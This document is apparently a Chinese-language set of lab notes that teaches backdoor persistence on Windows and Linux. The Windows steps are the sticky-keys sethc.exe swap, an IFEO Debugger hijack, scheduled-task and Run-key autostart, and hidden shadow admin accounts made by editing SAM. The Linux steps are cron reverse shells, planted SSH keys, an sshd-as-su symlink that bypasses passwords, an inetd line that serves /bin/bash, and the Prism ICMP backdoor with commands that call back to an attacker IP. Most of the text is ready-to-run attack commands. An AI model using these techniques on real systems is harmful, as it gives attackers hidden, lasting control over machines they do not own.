一、WIndows后门
1. 概述
(1). 介绍
- 留在目标主机上的软件,可以使攻击者随时与目标主机建立连接
2. Shift后门
建议以管理员身份Administrator登录,避免低级权限
首先备份sethc.exe和cmd.exe文件
先进入粘滞键sethc.exe文件所在目录
C:\Windows\System32
备份sethc.exe和cmd.exe文件,以便以后消除痕迹
copy sethc.exe sethc.exe.bak copy cmd.exe cmd.exe.bak
修改sethc.exe文件所属权限,避免出现拒绝访问情况
#1.使用 takeown 和 icacls 命令 takeown /f sethc.exe #2.赋予当前用户完全控制权限: icacls sethc.exe /grant %username%:F #3.再次尝试替换文件: copy cmd.exe sethc.exe
退出登录,再次回到登录页面,尝试启用粘滞键,成功实现该效果
3. 映像劫持后门
(1). 手动实现
在注册表的指定位置添加新的项
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
打开指定位置
添加新的映像
添加一个值
修改名称和内容
值的名称
一定是Debugger
,值为篡改后文件的路径退出当前用户登录,回到登录页面,勾选打开屏幕键盘,连按5下shift启动粘滞键,成功弹出cmd.exe,并且高权限
(2). 命令行实现
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe" /f
4. 计划任务后门
- 通过命令
at(<=win7)
orschtasks
调用计划任务 - at只会打开一个后台进程,而schtasks命令是将定时的任务在前台执行
(1). at
AT [\\computername] time [/interactive] [/every:date[,...]|/next:date[,...]] "command"
(2). schtasks
a. 参数
- 存在下列参数
| 参数 | 描述 |
| ——————— | ———————————- |
| schtasks | 创建、删除、配置和显示计划任务 |
| /create | 创建一个新的计划任务 |
| /tn “TaskName” | 设定计划任务的名称 |
| /tr “TaskRun” | 设定计划任务调用程序的绝对路径 |
| /sc schedule | 指定计划任务的运行频率 |
| [/mo modifier] | 指定调度的修改器 |
| [/d day] | 指定任务运行的星期几 |
| [/m month1,month2…] | 指定任务运行的月份 |
| [/i IdleTime] | 指定在系统闲置状态下任务运行的时间 |
| /st StartTime | 指定任务开始运行的时间 |
| [/sd StartDate] | 指定任务的开始日期 |
| [/ed EndDate] | 指定任务的结束日期 |
| [/s computer] | 指定要在其上创建任务的远程计算机 |
| [/u [domain]user] | 指定具有创建任务权限的用户 |
| [/p password] | 指定用户的密码 |
| [/ru {Domain]User | “System”} |
| [/rp Password] | 指定运行任务的用户的密码 |
| /? | 显示帮助文档 |
b. 实例
#在cmd命令行输入以下内容,创建一计划任务
schtasks /create /tn "chrom" /tr cmd.exe /sc minute /mo 1 #创建一计划任务,名称为chrom,每一分钟打开一次cmd.exe
5. 注册表自启动后门
位置
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
,通过修改注册表实现自启动需要运行程序最常见的方式,在指定键值添加一个新的键值类型为REG_SZ,数据项中添加需要运行程序的路径即可启动
打开注册表,在注册表使用
右键
新建一个字符串值
名称随意填写,数据部分填写需要运行程序的路径
重启服务器,开机后自动弹出cmd.exe
6. 影子账户
先创建一个隐藏账户
无法使用
net user
查看,但可在用户管理页面查看运行窗口输入lusrmgr.msc
进入注册表指定位置
HKEY_LOCAL_MACHINE\SAM\SAM
对于上图选定的SAM选项,赋予Administrators完全控制权限,完成后重新打开注册表即可看到
进一步进入其子项
内容中,Users和Names的值一一对应,一起构成一个完整的用户
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users
将Administrator用户对应项的F值,复制到hack$对应项中的F值,并保存
将Names中的test$和Users中对应的内容进行右键导出
删除创建的hack$账号
双击运行之前导出的2个注册表文件,影子账户创建完成
检验,
net user
无法查看,lusrmgr
无法查看,只能注册表查看
二、Linux后门
1. 写crontab
在攻击机中开启监听
nc -lvvp 1234
在目标机中设置计划任务,内容为每隔一段时间反弹shell
等待一段时间,成功反弹shell
2. 写ssh公钥
攻击机生成ssh公钥
ssh-keygen -t rsa
将生成的公钥写入到目标服务器的
/.ssh/authorized_keys
中前提,ssh配置文件中必须允许ssh远程登录
scp c:/Users/26254/.ssh/id_rsa.pub root@192.168.71.4:/root/.ssh/authorized_keys
攻击机直接连接靶机,验证私钥成功,成功免密登录
3. ssh软连接
- 直接对sshd建立软连接,之后使用任意密码就可以登录
(1). 原理
- 利用了PAM配置文件的作用,将sshd文件软连接名称设置为su,之后应用在启动过程中会去PAM配置文件夹中寻找su的配置信息,而su的PAM配置(pam_rootok)被设置为只要uid=0 就能使用该命令,因此可以篡改ssh使用密码登录的策略。
- 注意:PAM(可插拔认证模块)配置文件定义了系统如何处理用户身份验证。每个服务(如
ssh
或su
)都有对应的配置文件,位于/etc/pam.d/
目录中
(2). 解释
- 如果使用su,那么只能使用root登录,因为su的PAM文件只检测登录用户的uid是否为0,为0则认证成功
- 软连接的文件,需要有配置文件存在于/etc/pam.d/目录下
- PAM(Pluggable Authentication Modules,可插拔认证模块),允许系统管理员灵活地配置各种身份验证方法和策略
(3). 特点
- 隐蔽性较弱,会被
rookit hunter
这类防护脚本检测到 - 在本地查看端口号时会暴露端口,因此最好进行端口伪装
- 能绕过一些网络设备的安全流量监控
(4). 实例
在目标服务器上创建软连接
ln -sf /usr/sbin/sshd /tmp/su
在目标服务器上设置监听端口号
/tmp/su -oPort=8080
尝试使用ssh连接目标服务器
ssh root@192.168.71.4 -p 8080
4. inetd/xinetd
- inetd是监听外部网络请求(socket)的系统守护进程,适用于古老的服务
(1). 原理
- 当inetd接收到一个外部请求后,会根据这个请求到自己的配置文件中去找到实际处理他的程序,并交给它处理
(2). 配置文件格式
(3). 实例
向/etc/inetd.conf文件中加入一行
daytime stream tcp nowait root /bin/bash bash -i
靶机开启inet服务,之后攻击机使用nc进行连接
sudo systemctl start openbsd-inetd #在靶机上启动inet服务 nc -lvvp 192.168.71.4 13 #inet默认端口为13
成功建立连接,但无数据返回
5. Prism
- 是Linux下的ICMP反弹后门工具,使用时会在后台等待特性的主机/端口连接信息的ICMP数据包
(1). 地址
- https://github.com/andreafabrizi/prism
(2). 实例
编译prism.c文件
gcc -DDETACH -Wall -s -o prism prism.c
编译完成后,可以查看prism后门的配置信息,包括连接密码
./prism Inf0
将该后门上传到目标服务器上,再以root用户运行sendPacket.py脚本
sudo python ./sendPacket.py 目标靶机IP 连接密码 攻击机IP 攻击机监听端口 sudo python ./sendPacket.py 192.168.71.21 p4ssw0rd 192.168.71.4 1234
在攻击机监听相关端口,等待一段时间后,后门主机反弹连接给攻击机
nc -lvvp 1234